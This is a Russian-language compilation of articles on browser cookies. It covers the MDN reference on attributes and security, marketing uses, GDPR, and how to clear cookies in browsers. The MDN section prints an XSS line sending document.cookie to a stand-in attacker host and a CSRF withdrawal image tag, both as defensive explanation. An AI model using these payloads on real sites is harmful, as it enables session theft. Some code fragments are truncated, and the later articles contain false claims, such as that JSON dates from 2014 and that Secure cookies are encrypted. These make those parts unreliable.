HTTP-куки
HTTP cookie (web cookie, куки браузера) — это небольшой фрагмент данных, который сервер отправляет браузеру пользователя. Браузер может сохранить этот фрагмент у себя и отправлять на сервер с каждым последующим запросом. Это, в частности, позволяет узнать, с одного ли браузера пришли несколько запросов (например, для аутентификации пользователя). С помощью кук можно сохранить любую информацию о состоянии, HTTP-протокол сам по себе этого делать не умеет.
Куки часто используются для:
- Управления сеансом (логины, корзины для виртуальных покупок)
- Персонализации (пользовательские предпочтения)
- Трекинга (отслеживания поведения пользователей)
До недавнего времени куки использовались в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API для хранения данных, это уже не так. Из-за того что куки пересылаются с каждым запросом, они могут ухудшать производительность (особенно при использовании мобильных сетей). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API ( localStorage и sessionStorage ) и IndexedDB.
Примечание: Чтобы посмотреть сохранённые куки и другие хранилища данных, которые использует веб-страница, можно использовать Storage Inspector (Инспектор хранилища) в инструментах разработчика.
Создание куки
Получив HTTP-запрос, вместе с ответом сервер может отправить заголовок Set-Cookie . Куки обычно запоминаются браузером и посылаются в HTTP-заголовке Cookie (en-US) с каждым новым запросом к одному и тому же серверу. Можно задать срок действия кук, а также срок их жизни, после которого куки не будут отправляться. Также можно указать ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту они будут отсылаться.
Заголовки Set-Cookie и Cookie
Заголовок Set-Cookie HTTP-ответа используется для отправки куки с сервера в клиентское приложение (браузер). Простой куки может задаваться так:
Set-Cookie: =
Этот заголовок с сервера даёт клиенту указание сохранить куки (это делают, например, PHP, Node.js, Python и Ruby on Rails). Ответ, отправляемый браузеру, содержит заголовок Set-Cookie , и куки запоминается браузером.
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]
Теперь с каждым новым запросом к серверу при помощи заголовка Cookie (en-US) браузер будет возвращать серверу все сохранённые ранее куки.
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
Сессионные cookie
Простой cookie, пример которого приведён выше, представляет собой сессионный cookie (session cookie) — такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.
Постоянные cookies
Постоянные cookie (permanent cookies) удаляются не с закрытием клиента, а при наступлении определённой даты (атрибут Expires ) или после определённого интервала времени (атрибут Max-Age ).
Set-Cookie: Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Secure («безопасные») и HttpOnly куки
«Безопасные» (secure) куки отсылаются на сервер только тогда, когда запрос отправляется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в куках, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищённые сайты (http:) не могут создавать куки с флагом Secure .
Куки HTTPonly не доступны из JavaScript через свойства Document.cookie API, что помогает избежать межсайтового скриптинга (XSS (en-US)). Устанавливайте этот флаг для тех кук, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг HttpOnly .
Set-Cookie: Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Область видимости куки
Директивы Domain и Path определяют область видимости куки, то есть те URL-адреса, к которым куки будут отсылаться.
Атрибут Domain
Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берётся доменная часть адреса документа (но без поддоменов). Если домен указан явно, то поддомены всегда включены.
Например, если задано Domain=mozilla.org , то куки включены и в поддоменах, например, в developer.mozilla.org .
Атрибут Path
Атрибут Path указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка Cookie . Символ %x2F («/») интерпретируется как разделитель в URL-пути, подпути также будут учитываться.
Если задан Path=/docs , то совпадать будут следующие пути:
- /docs
- /docs/
- /docs/Web/
- /docs/Web/HTTP
А эти пути совпадать не будут:
Куки SameSite
Куки отправляются на сервер при любых запросах, даже если запрашивается статический ресурс с чужого сервера, то есть если происходит межсайтовый запрос. Например, если страница сайта site.com содержит изображение сайта site.net, при запросе изображения в запросе будут отправлены все куки пользователя для site.net. Чтобы ограничить отправку кук только тому сайту, которому они принадлежат, используют атрибут SameSite.
C помощью атрибута SameSite можно указать, когда и как отправлять куки с межсайтовыми запросами (где сайт определяется комбинацией домена и схемы http: или https: ). В некоторой степени этот атрибут защищает от межсайтовой подделки запроса (CSRF). SameSite может принимать три возможных значения: Strict , Lax и None .
С атрибутом Strict куки будут отправляться только тому сайту, которому эти куки принадлежат. Атрибут Lax работает похоже, но куки будут отправляться также при навигации на тот сайт, которому принадлежат куки. Например, при переходе по ссылке с внешнего сайта. Атрибут None отключает ограничение на отправку кук для межсайтовых запросов, но только в безопасном контексте (то есть если установлен SameSite=None , тогда также должен быть установлен атрибут Secure ). Если атрибут SameSite не установлен, куки будут восприниматься как Lax .
-Cookie: mykey=myvalue; SameSite=Strict
Примечание: В таблице совместимости (en-US) вы можете найти информацию о том, как обрабатываются атрибуты в конкретных версиях браузеров.
Куки с префиксами
Из-за дизайна механизма кук сервер не может подтвердить, что куки были отправлены с защищённого источника (secure origin), или быть уверенным в том, где именно они были установлены.
Уязвимое приложение поддомена может установить куку с атрибутом Domain , тем самым открывая к ней доступ на всех других поддоменнах. Этот механизм может эксплуатироваться с атакой фиксация сессии.
Примечание: Ознакомьтесь со статьёй фиксация сессии (en-US) , чтобы узнать об основных методах защиты от этой атаки.
Тем не менее в соответствии с принципом защита в глубину вы можете использовать куки с префиксами, чтобы гарантировать специфические факты о куках. Доступны два префикса:
Если в куке содержится этот префикс, она будет установлена заголовком Set-Cookie только в том случае, если кука будет содержать атрибут Secure и если запрос будет отправляться из защищённого источника. Также кука не должна включать атрибут Domain и должна содержать атрибут Path со значением / .
Если в куке содержится этот префикс, она будет установлена заголовком Set-Cookie только в том случае, если кука будет содержать атрибут Secure и если запрос будет отправляться из защищённого источника. Защита с помощью этого префикса слабее по сравнению с префиксом __Host- .
Браузеры будут отклонять установку этих кук, если они не будут удовлетворять всем ограничениям. Заметьте, что куки с префиксами, созданные в рамках поддомена, будут ограничиваться только им или будут полностью игнорироваться. Так как бэкенд проверяет только куки с заранее известными именами при авторизации пользователя или валидации CSRF-токена, куки с префиксами фактически работают как защитный механизм от фиксации сессии.
Примечание: Бэкенд веб-приложения обязан обращаться по полному имени куки, включая префикс. Пользовательские агенты не удаляют префикс из имени кук перед их отправкой в HTTP-заголовке Cookie (en-US) .
Для получения информации о статусе поддержки префиксов в разных браузерах обратитесь к статье про Set-Cookie .
Доступ из JavaScript с помощью Document.cookie
Куки можно создавать с помощью JavaScript, используя DOM-свойство Document.cookie . Также можно читать куки из JavaScript, если не был установлен атрибут HttpOnly .
.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // выведет "yummy_cookie=choco; tasty_cookie=strawberry"
Куки, созданные с помощью JavaScript, не могут содержать атрибут HttpOnly .
Пожалуйста, учитывайте вытекающие из этого проблемы, про которые рассказывается ниже в разделе Безопасность. Куки, доступные для JavaScript, могут быть похищены посредством XSS.
Безопасность
Примечание: При сохранении информации в куках имейте в виду, что у всех пользователей есть возможность просматривать и изменять их значения. В зависимости от типа приложения вы можете использовать ни о чём не говорящее имя для идентификатора кук, смысл которого будет понятен только бэкенду. Также вы можете рассмотреть возможность использования альтернативных механизмов аутентификации и конфиденциальности, например, JSON Web Tokens
Способы предотвращения атак, использующих куки:
- Используйте атрибут HttpOnly для предотвращения доступа к кукам из JavaScript.
- Куки, которые используются для хранения чувствительной информации, такой как аутентификационный токен, должны иметь короткое время жизни и атрибут SameSite , установленный в Strict или Lax . Для того чтобы узнать больше, смотрите раздел SameSite. В браузерах с поддержкой SameSite это гарантирует предотвращение отправки кук аутентификации с межсайтовыми запросами, фактически такие запросы с точки зрения бэкенда становятся неаутентифицированными.
Захват сессии (session hijacking) и XSS
Куки часто используются в веб-приложениях для идентификации аутентифицированного пользователя и сеанса работы. Соответственно, похищение кук из приложения может привести к захвату авторизованного сеанса пользователя. Кража кук часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости XSS (en-US).
new Image().src = "http://www.evil-domain.com/steal-cookie.php?cookie token operator">+ document.cookie;
Атрибут HttpOnly помогает уменьшить эту угрозу, перекрывая доступ к кукам из JavaScript.
Межсайтовая подделка запроса (CSRF — Cross-site request forgery)
В Wikipedia есть хороший пример CSRF. В сообщение, например, в чате или на форуме, включают «изображение», которое, на самом деле, представляет собой запрос к серверу банка на снятие денег:
img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />
Если вы аутентифицированны в своём банковском аккаунте, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа форума или чата с этим изображением деньги будут переведены с вашего счета. Для защиты от этого используется ряд методов:
- Как и при XSS (en-US), важна фильтрация входящей информации.
- Для любой чувствительной операции должно запрашиваться подтверждение.
- Куки, используемые для чувствительных операций, должны иметь короткий срок действия.
- Дополнительную информацию можно получить в пользовательской инструкции по предотвращению CSRF на сайте OWASP.
Трекинг и приватность
Сторонние (Third-party) куки
Куки ассоциируются с определённым доменом и схемой (такой как http: или https: ). Также они могут быть ассоциированы с поддоменом с помощью атрибута Domain . Если домен и схема кук совпадает с доменом и схемой текущей страницы, на которой вы находитесь, то их называют собственными куками (first-party cookies). Если домен и схема кук отличается от домена и схемы текущей страницы, то такие куки называют сторонними куками (third-party cookies).
Сервер, хостящий страницу, устанавливает собственные куки, но на странице могут находиться изображения и другие компоненты с других доменов (например, баннерная реклама), они в свою очередь могут устанавливать сторонние куки. Сторонние куки часто используются для рекламы и трекинга пользователей в сети. Как пример, можете посмотреть куки, которые устанавливает Google.
Третья сторона, контролирующая внедрение сторонних кук, может создать профиль пользователя на основе истории его посещений разных сайтов с помощью кук, отправляемых одним и тем же браузером с разных сайтов. Firefox по умолчанию блокирует сторонние куки, про которые известно, что они используются для трекинга пользователей. Сторонние куки (или просто куки для трекинга) могут также быть заблокированы другими настройками браузера или расширениями. Блокировка кук в некоторых ситуациях может стать причиной некорректного поведения сторонних компонентов, например, виджетов социальных сетей.
Примечание: Бэкенд может (и должен) устанавливать у кук атрибут SameSite (en-US) для управления отправкой кук на сторонние серверы.
Законодательство, связанное с куки
Регулирующие акты и законодательство, покрывающие куки, включают:
- General Data Privacy Regulation (GDPR) в Европейском Союзе
- ePrivacy Directive в Европейском Союзе
- California Consumer Privacy Act в Штате Калифорния
Эти акты и директивы действуют глобально. Они применяются ко всем сайтам во Всемирной паутине, к которым пользователи из данных юрисдикций получают доступ (Европейский Союз и Калифорния, с оговоркой, что Калифорнийский закон применяется к компаниям с доходом выше 25 миллионов долларов и несколькими другими оговорками).
Эти акты и директивы включают такие требования как:
- Сообщать пользователям, что сайт использует куки.
- Давать возможность пользователям отказываться от получения всех или некоторых кук.
- Давать возможность пользователям использовать основные функции вашего сервиса без получения кук.
Могут существовать другие законодательные акты, которые применимы к вашей локальной юрисдикции. На вас лежит ответственность знать про них и следовать им. Существуют компании, которые предлагают код с «куки баннером» и берут на себя заботы о следовании законодательству, связанному с куками.
Другие способы хранения информации в браузере
Другой способ для хранения данных в браузере — Web Storage API. Свойства window.sessionStorage и window.localStorage подобны сессионным и постоянным кукам, но позволяют хранить больше данных и никогда не отправляются на сервер. Для хранения ещё большего объёма структурированных данных может использоваться IndexedDB API или библиотеки, построенные поверх него.
Существуют техники для повторной установки кук после их удаления. Такие куки называются куки-зомби. Эти техники нарушают принципы приватности пользователей и пользовательского контроля и могут нарушать законодательства, регулирующие приватность данных, соответственно, использующий их сайт подвержен судебному разбирательству.
Читайте также
- Set-Cookie
- Cookie (en-US)
- Document.cookie
- Navigator.cookieEnabled
- SameSite cookies (en-US)
- Inspecting cookies using the Storage Inspector
- Cookie specification: RFC 6265
- Cookies, the GDPR, and the ePrivacy Directive
- HTTP cookie on Wikipedia
Found a content problem with this page?
- Edit the page on GitHub.
- Report the content issue.
- View the source on GitHub.
This page was last modified on 7 авг. 2023 г. by MDN contributors.
Что такое cookie в браузере
Cookies (куки) — это небольшие текстовые файлы, которые сайты отправляют на компьютер или смартфон и хранят там. Они содержат практически любую информацию о взаимодействии пользователя с веб-ресурсом, например идентификаторы сеансов, параметры входа в личный кабинет, время сеанса. Cookie используются для удобства, а также для сбора аналитической и маркетинговой информации.
В переводе с английского сookie — «печенье». Название возникло, потому что печенье оставляет крошки, по которым можно найти того, кто его съел, так и по кукам можно быстро отследить пользователя. Такая аналогия.
Сookie хранятся на жёстком диске устройства в специальной папке поисковика, и можно просмотреть их, используя программу «Блокнот».
Пример, как выглядит текст куки с «Яндекс Погоды»:
Как работают куки? После того как человек вводит адрес нужной страницы в строке браузера и устанавливается веб-соединение, происходит поиск сохранённых cookie на его устройстве. Если таковые обнаруживаются, они передаются на сервер ресурса. Если поисковик не обнаруживает куки, ресурс рассматривает пользователя как нового посетителя и отправляет разрешение на создание куки на его устройстве.
Куки не является программой, и технически не несёт угрозы устройству.
Основные задачи cookie
Разберём по пунктам, зачем нужны куки.
1. Сохранение настроек
Помогают узнать и запомнить наши предпочтения, например язык или регион, чтобы нам было удобно пользоваться веб-ресурсами.
2. Управление сеансами
Позволяют отслеживать нашу активность во время одной сессии, что полезно, например, при онлайн-покупках.
3. Аутентификация
Используются для того, чтобы нам оставаться залогиненными на своих аккаунтах и не вводить логины и пароли повторно.
4. Сбор сведений
Собирают аналитику о том, как мы используем ресурс, что помогает персонализировать контент, улучшить функциональность и устранять проблемы.
5. Маркетинг и реклама
Позволяют показывать рекламу на основе наших интересов и предпочтений в интернете и в соцсетях.
Таким образом, куки — это своего рода напоминания, которые делают веб-ресурсы более удобными и быстрыми в работе.
�� Важно! Часто вместе с куки упоминают кэш. Это две разные технологии, не синонимы. Кэш — это временное хранилище больших видео или изображений, используется приложениями и операционной системой для ускорения работы и улучшения производительности устройства. Соokie и кэш похожи тем, что занимают место в хранилище, но задачи у них всё же различаются.
Как включить или отключить куки
Куки нужно периодически удалять и можно даже отключать. Удаление старых куков хорошо помогает поддерживать приватность в интернете. А ещё со временем они могут накапливаться и занимать место на нашем устройстве — тоже причина почистить cookie.
Отключение может предотвратить отслеживание активности рекламными сетями и различными ресурсами, что способствует большей конфиденциальности.
Покажем, как отключить куки в двух самых популярных поисковиках.
Яндекс браузер
Яндекс предупреждает, что в случае полного отключения cookie, это принесёт больше неудобств, чем пользы. Однако с другой стороны, если приватность стоит на первом месте, то почему нет?
Всем разрешено хранить куки автоматически.
Чтобы ограничить хранение cookie:
- Открываем Меню.
- Переходим в Настройки.
- Выбираем Сайты, прокручиваем вниз и находим Расширенные настройки сайтов.
- В разделе Сookie-файлы выбираем нужную функцию:
- заблокировать сторонние файлы,
- запретить,
- очищать файлы сookie при выходе из браузера.
Google Chrome
В Google Chrome можно настроить все куки по умолчанию, или хранить только куки для определённых ресурсов и блокировать сторонние cookie, связанные с рекламой.
Как настроить куки в Гугл Хром?
- В правом верхнем углу экрана нажимаем на значок с тремя точками (Ещё).
- Выбираем Настройки.
- Переходим в раздел Конфиденциальность и безопасность.
- В этом окне находим опцию «Файлы cookie и другие данные сайтов».
- Выбираем нужный вариант:
- Разрешить все файлы
- Заблокировать все файлы (не рекомендуется)
- Блокировать файлы сторонних сайтов в режиме инкогнито
- Блокировать сторонние файлы
Если вы выберете блокировку сторонних файлов, то все куки будут заблокированы, даже если часть некоторых ресурсов находится в списке исключений.
Как очистить cookies
Соokie следует чистить для обеспечения дополнительной конфиденциальности, безопасности и освобождения места на устройстве.
Яндекс браузер
Чистим cookie в Яндексе так:
- Заходим в Меню.
- Нажимаем Дополнительно.
- Выбираем Очистить историю.
- В списке выбираем период для удаления.
- Выбираем пункт «Файлы cookie и другие данные сайтoв и модулей», отключаем остальные опции, если хотим удалить только cookie.
- Нажимаем «Очистить».
Google Chrome
Как удалить cookie в Гугл Хром:
- В правом верхнем углу экрана нажимаем на значок с тремя точками.
- Переходим в Настройки.
- Выбираем Конфиденциальность и безопасность.
- Затем переходим в раздел «Файлы cookie и другие данные сайтов».
- Нажимаем «Посмотреть все разрешения и данные сайтов».
- Нажимаем «Удалить все данные».
- Теперь, чтобы подтвердить действие, жмём «Удалить».
После удаления придётся заново вводить для авторизации логин и пароль. Это нужно будет делать каждый раз, когда полностью удаляются cookie.
�� Как отключить все куки в Safari, читайте подробнее в статье
Как cookies используются в маркетинге
Cookie используются в маркетинге как инструмент для сбора сведений о поведении людей в интернете.
Давайте рассмотрим, какие маркетинговые задачи у интернет-печенья:
Персонализация контента: С помощью cookie можно адаптировать контент и рекламу в интернете и в социальных сетях под интересы конкретных людей. Например, если мы искали товары для путешествий, то увидим рекламу авиабилетов или отелей благодаря кукам.
Отслеживание конверсий: Cookie позволяют отслеживать, какие именно действия люди совершают после клика на рекламу. Это помогает оценить эффективность рекламных кампаний.
Ретаргетинг: Если человек посетил наш ресурс, но не совершил покупку, мы можем с помощью куки показать ему рекламу с теми товарами, которые его заинтересовали.
Аналитика и исследование аудитории: Куки позволяют собирать сведения о том, как люди взаимодействуют с веб-ресурсами. Это нужно для анализа поведения аудитории, выявления тенденций и определения ключевых метрик.
Улучшение пользовательского опыта: На основе куков, человеку предоставляют персонализированный контент.
При этом использование cookie вызывает вопросы о конфиденциальности и безопасности. Поэтому есть законы по сбору и использованию полученных сведений, которые защищают интересы людей в интернете.
�� Как управлять печеньем в маркетинговых квизах рассказываем в инструкции
Как законодательство регулирует cookies
Законодательство регулирует использование куки, чтобы обеспечить конфиденциальность и защиту. В разных странах законы имеют свои особенности, но существует несколько общих моментов:
1. Согласие пользователей
Необходимо получить согласие на использование куков, особенно если они используются для рекламных целей. Обычно нам показывают баннер с уведомлением и кнопками «Согласен» или «Отклонить».
2. Политика конфиденциальности
Владельцы веб-ресурсов должны предоставить пользовательскую политику конфиденциальности — документ, в котором описывается, какие куки используются, для каких целей и как люди смогут управлять своими настройками.
3. Право на отказ
Людям предоставляют возможность отказаться от использования cookie или выбирать, какие категории они разрешают.
4. Сроки хранения сведений
Законы могут требовать, чтобы сведения куки хранились только в течение определенного периода времени.
5. Защита
Главное, что закон требует обеспечить безопасность и защиту, чтобы предотвратить угрозу утечки и несанкционированный доступ, которые стали очень распространенными в последнее время.
Важно соблюдать законы в своей юрисдикции, чтобы защитить интересы людей.
�� Почему европейский закон о защите персональной информации в интернете нужно знать российским компаниям рассказываем в статье Что такое GDPR
Как долго хранятся cookies
Сроки хранения coоkie могут варьироваться в зависимости от их типа и целей использования. Можно выделить следующие основные категории файлов по срокам хранения:
| Какие это виды cоokie | Сколько хранятся |
| Сеансовые cоokie | Записи хранятся только во время посещения ресурса и удаляются сразу после закрытия поисковика. Используются для временного хранения сведений, например, для обеспечения безопасности входа в личный кабинет или для сохранения товаров в корзине онлайн-магазина или сведений о поисковых запросах |
| Постоянные cоokie | Сохраняются на устройстве на определенное время, даже после закрытия поисковика. Срок хранения может варьироваться от нескольких дней до нескольких лет, в зависимости от настроек ресурса. Могут использоваться для сохранения предпочтений человека и для ретаргетинга |
| Coоkie с ограниченным сроком | Срок хранения определяется конкретными настройками ресурса. Например, могут использоваться для отслеживания сеансов во время действия рекламных акций |
| Сессионные cоokie | Особый тип сеансовых cоokie, который хранится только в оперативной памяти вашего устройства и удаляется при закрытии поисковика |
В большинстве случаев сроки хранения файлов просто указываются в политике конфиденциальности.
Важно отметить, что сроки хранения должны соответствовать законодательству и политике конфиденциальности. Люди имеют право знать, какие сведения собираются и как долго их хранят.
Заключение
Квизы собирают персональную информацию с помощью куков.
Любому бизнесу важно получать полезные сведения от клиентов. При этом сервис Марквиз уделяет самое пристальное внимание соблюдению правил конфиденциальности. Закон не запрещает сбор информации, а лишь обеспечивает их защиту и согласие на использование.
Конструктор квиза включает в себя согласие с положением об обработке персональной информации и политикой конфиденциальности.
Пример формы контактов в квизе с заветной галочкой:
Что такое cookies: как их удалить или включить
Cookie — что это такое? Вопреки названию, это не имеет ничего общего с кондитерскими изделиями. Cookies — это крошечные файлы с данными, расположенные на устройстве пользователя, которые значительно упрощают нашу жизнь и представляют серьезную угрозу для конфиденциальности.
Оглавление:
- Что такое cookie в браузере
- Основные задачи cookie
- Яндекс браузер
- Google Chrome
- Яндекс браузер
- Google Chrome
Файлы сookie — это информационный источник, обеспечивающий маркетологов необходимыми сведениями для создания контекстной рекламы. Во время просмотра веб-страниц, вы частенько натыкаетесь на сообщение о согласии с условиями по сбору ваших данных на сайте. Потому что современные IT-технологии развились настолько, что браузер может фиксировать абсолютно все наши действия.
К примеру: отложенный вами товар в корзине интернет-магазина, ваши поисковые запросы, ваш логин и пароль в социальных сетях и так далее. Затем, «как по волшебству», вы видите рекламу товара или услуги, которую вы недавно искали. Именно куки являются теми самыми вспомогательными данными, в осуществлении таких операций. В данной статье мы поговорим о том, как включить или очистить файлы cookie и что это такое. На самом деле существуют два схожих по свойствам файла, такие как: кэш и куки. Однако, если копнуть глубже, они отличаются по многим параметрам. Но для того, чтобы вы поняли более подробно, некоторые сведения в этой статье написаны не совсем корректно, а именно часть свойств в описании файлов cookie больше присущи кэшу и наоборот. Следовательно, для общего понимания вопроса, данная статья написана более простым и понятным языком, без углубленных разграничений зон ответственности между данными свойствами.
Изображение в виде цепочки собранных данных
Что такое cookie в браузере
Представьте, что вы входите в ваш любимый интернет-портал. Пользоваться им очень комфортно, поскольку этот портал помнит все ваши данные: ваш mail; логин; пароль и так далее. Следовательно, вам не требуется вводить сведения о себе по новой, каждый раз как вы заходите на сайт. Также, в базе данных сайта сохраняются все ваши действия, например, вы прошли социальный опрос, повторно его уже не будет, потому что вы не можете много раз высказывать свое мнение по одной теме. Браузер запоминает вашу локализацию и вам не придется повторно выбирать русскую или английскую версию при входе на сайт. Знакомо — не правда ли?
- Куки не являются программой — это текстовый файл.
- Они не заразят ваше устройство вирусом.
Основные задачи cookie
Перечень самых основных задач:
- Авторизация (браузер) — браузер фиксирует ваш логин и пароль при регистрации, тем самым дает возможность для входа в ресурс без повторного ввода данных. Однако, чаще всего, перед этим браузер у вас запросит разрешение на сохранение ваших данных.
- Сохранение параметров (сайт) — благодаря куки, все заданные вами параметры в поисковой системе будут сохранены, например, язык, регион или фильтр поиска.
- Мониторинг операций на сайте (сайт) — обыденная практика, когда cookie отслеживают шаги пользователя на сайте для сбора статистических сведений. В следствии, эти сведения применяются в сфере услуг интернет-маркетинга.
В куки фиксируются сведения о том, какую рекламу или новость человек уже просматривал и где совершал целевые действия, а где нет. И если говорить про куки для сайта частных предпринимателей, то можно не опасаться «слива» персональных данных, однако нельзя сказать того-же самого про крупные сетевые организации. Существует закон о том, что распространение файлов куки строго запрещено и за нарушение данного правила полагаются серьезные штрафы, но тем не менее в нашей практике иногда встречаются такие случаи.
Предположим, что вы администрируйте сайт через панель WordPress. Если вы поставите галочку «запомнить меня» на стороннем устройстве, то его владелец сможет воспользоваться этими данными и к примеру — зайти в ваш аккаунт. Правильней всего открывать страницы через режим инкогнито и не отмечать галочкой пункт «Запомнить» при введении персональных данных или каких-либо паролей.
Отключение cookie, в целях приватности доставит вам больше дискомфорта, чем удобств. Каждый раз вам придется вводить свои данные заново, при входе на ресурс, в котором вы уже были зарегистрированы или переходя в интернет-магазин, с ранее заполненной корзиной.
Также, для предельной конфиденциальности, одного выключения файлов будет мало. Необходимо целиком перестроить свое поведение в веб-пространстве и изменить привычные параметры программ и веб-приложений. Иначе говоря, такие тезисы как: удобство и безопасность просто несочетаемы.
25 мая 2018 года был введен закон о правах защиты данных граждан Евросоюза. Его сокращенное наименование GDPR — General Data Protection Regulation. Основная суть указа в том, что владельцы сайтов, занимающихся сбором данных об действиях посетителей на ресурсе, обязаны информировать их об этом. Сбор можно начинать осуществлять только после подтверждения пользователя, что его уведомили о данной информации. В случае, если ваш сайт сосредоточен на работе, не только гражданами России, но и Европы, то вы однозначно попадете под санкции за нарушение регламента.
Раз уж мы затронули сбора данных, необходимо осветить еще один очень тонкий момент. Файлы куки не являются вспомогательным элементом в сборе персональных данных. Поскольку владелец сайта не может интенсифицировать человека, чьи действия отображаются в куки. То есть, куки не предоставляет информацию о том, что — это Иванов Иван Иванович, 1992.01.01 года рождения, проживающий по адресу: город Москва улица Ленина дом 100, квартира 101.
С недавних пор русских интернет-предпринимателей, также начали штрафовать за несоблюдение данных правил. В теории можно попасть на штраф до €20 миллионов. По факту сумма санкций рассчитывается индивидуально, исходя из ситуации.
Совет предпринимателям: не в коем случае не злоупотребляйте вышеуказанными правилами, если не хотите серьезных осложнений. Тем более с этической точки зрения, не правильно заниматься сбором данных о вашем клиенте без его ведома. Информируйте людей о cookie файлах. Но не обязательно делать это слишком прямолинейно и однобоко. К примеру: наша IT-компания, уведомляет посетителей сайта о сборе персональных данных, непринужденно и долей юмора, чтобы не вызвать у человека отторжения.
Уведомление о применении cookie в Prostudio
Как включить или отключить куки
В современном мире любой пользователь должен понимать, как включить файлы cookie, чтобы адаптировать свою жизнедеятельность, не вписывая свои данные по новой, при повторном входе в ресурс, в котором они ранее регистрировались. Поэтому мы написали инструкцию по включению cookies в Яндекс Браузере и Google Chrome.
Файлы cookie очень часто критикуют из-за того, что их применяют для сохранения данных о пользователях всемирной паутины. Но, куки не запоминают лично вас, а присваивают вам некий идентификационный номер и историей ваших действий. Поэтому, веб-ресурсы обязаны информировать их посетителей, об использовании куки-файлов. Как мы уже говорили, сложность в том, что без них пользователь будет испытывать дискомфорт в интернете. Но, если вы не хотите, чтобы файлы cookie отслеживались, вы можете отключить поддержку в браузере.
Файлы cookie: что это и для чего они нужны
Практически всегда при посещении очередного сайта, на который вы заходите впервые, перед вами всплывает уведомление, в котором вас спрашивают о сборе такой штуки как файлы сookie. «Что это, как работает и для чего используют их?» — в конечном счёте спросит начинающий арбитражник. Cookie (с английского дословно переводятся как «печеньки») – это текстовые файлы с данными, которые веб сайты сохраняют на устройстве юзера. Что значит, что такие файлы несут в себе информацию о предыдущих посещениях веб сайта: логин пользователя, настройки отображения страницы, язык браузера и т. д. Для чего нужны сookie файлы, если верить официальным источникам? Для того, чтобы сделать поиск в интернете более комфортным. За счёт работы этих самых «печенек», при вашем повторном заходе на уже знакомый вам сайт не потребуется снова вводить логин/почту и пароль — они будут бережно сохранены на вашем устройстве. Также куки увеличат скорость открытия страниц и уменьшат нагрузку на сервер. Если конкретнее, то держите примеры того, чем файлы cookie полезны:
Автоматическая авторизация
Повторимся — вас избавляют от назойливой необходимости вводить логин/почту и пароль каждый раз при посещении сайта, на котором вам была необходима регистрация. Куки запоминают введённые вами данные для входа на сайт и передают их на сервер. Так что благодаря cookie на искомый сайт вы зайдёте уже авторизованным юзером.
Индивидуальные настройки поисковиков и соцсетей
Благодаря cookie, в настройках браузеров сохраняется ваша локация проживания, язык и прочие важные индивидуальные детали. Такое сохранение избавляет вас от обязаловки редактировать абсолютно все настройки при каждом новом открытии Продажи и покупки в сети Каждый интернет-магазин применяет cookie для своих корзин: даже если клиент случайно вдруг закроет сайт магазина, выбранные им товары сохранятся. Есть ещё один важный момент, для чего нужны cookie файлы интернет-магазинам: без них было бы невозможно как сравнивать, так и покупать любые товары.
Реклама показывается только под ваши интересы
Есть файлы куки — нет никакой неуместной для вас рекламы. Когда пользователь посещает какую-либо страницу, браузер направляет куки обратно на сервер, чтобы вы могли получать подобранный индивидуально под вас контент.
Cookie файлы: форматы
- Временные куки — существуют лишь в тот момент, когда юзер посещает сайт и уходят в небытие, когда он закрывает браузер.
- Постоянные куки — хранятся на устройстве и после закрытия браузера, применяются для запоминания личных интересов юзера и распознавания его на сайте при каждом новом посещении.
- Куки сторонних сайтов — остаются на устройстве юзера не через непосредственно посещённый им сайт, а через другой, связанный с ним. Такой вид куки файлов применяется также для мониторинга активности пользователя на нескольких веб сайтах одновременно.
- Безопасные cookie — зашифрованные куки, предотвращающие нелегальный доступ к данным, содержащимся в них.
- HttpOnly cookie — доступ к ним может быть лишь через протокол HTTP или HTTPS, а это снижает риск кражи данных с вашего устройства.
- Зомби cookie — небольшие фрагменты кода, сохраняющиеся даже после уничтожения исходных файлов cookie. Именно за свою неубиваемость и получили такое прозвище.
Наиболее популярные форматы файлов cookie
Наиболее ходовых формата на сегодняшний день два — Netscape и JSON.
- Netscape разрабатывался эксклюзивно под веб-браузер Netscape Navigator. В 2023 году Netscape поддерживается подавляющим большинством браузеров.
- JSON родился в 2014 году. Его преимущество для разработчиков в том, что он позволяет хранить самые сложные данные. К примеру, Фейсбук эксплуатирует именно его для хранения куки файлов, в этой связи он наиболее распространён среди арбитражников, работающих по ФБ. JSON даёт возможность собирать файлы куки от аккаунтов ФБ (и не только ФБ) с целью запуска более результативной рекламы.
Вебам приходится иметь дело с разными форматами файлов cookie параллельно. Если в ваших руках имеются только формат Netscape или только формат JSON, а ситуация требует наличия разных форматов, для этих целей есть конвертеры куки файлов.
Как включить файлы cookie и как их отключить при необходимости
Для кого-то вопросы «как включить файлы cookie» и «как отключить файлы cookie» будут актуальны: в море арбитража периодически свои препятствия с неожиданными решениями для них, поэтому — пригодится.
Так как арбитражники пользуются в 99% случаев антидетект браузерами, то коснёмся именно их, а точнее двух самых крупных из них.
Octo Browser
Для того чтобы отключить или (включить, если они были отключены) файлы cookie в браузере Octo, нужно перейти в режим редактирования профиля, затем в «Хранилище» и выбрать необходимое положение ползунка напротив строки «Cookies» (то есть ВКЛ/ВЫКЛ «печенек»).
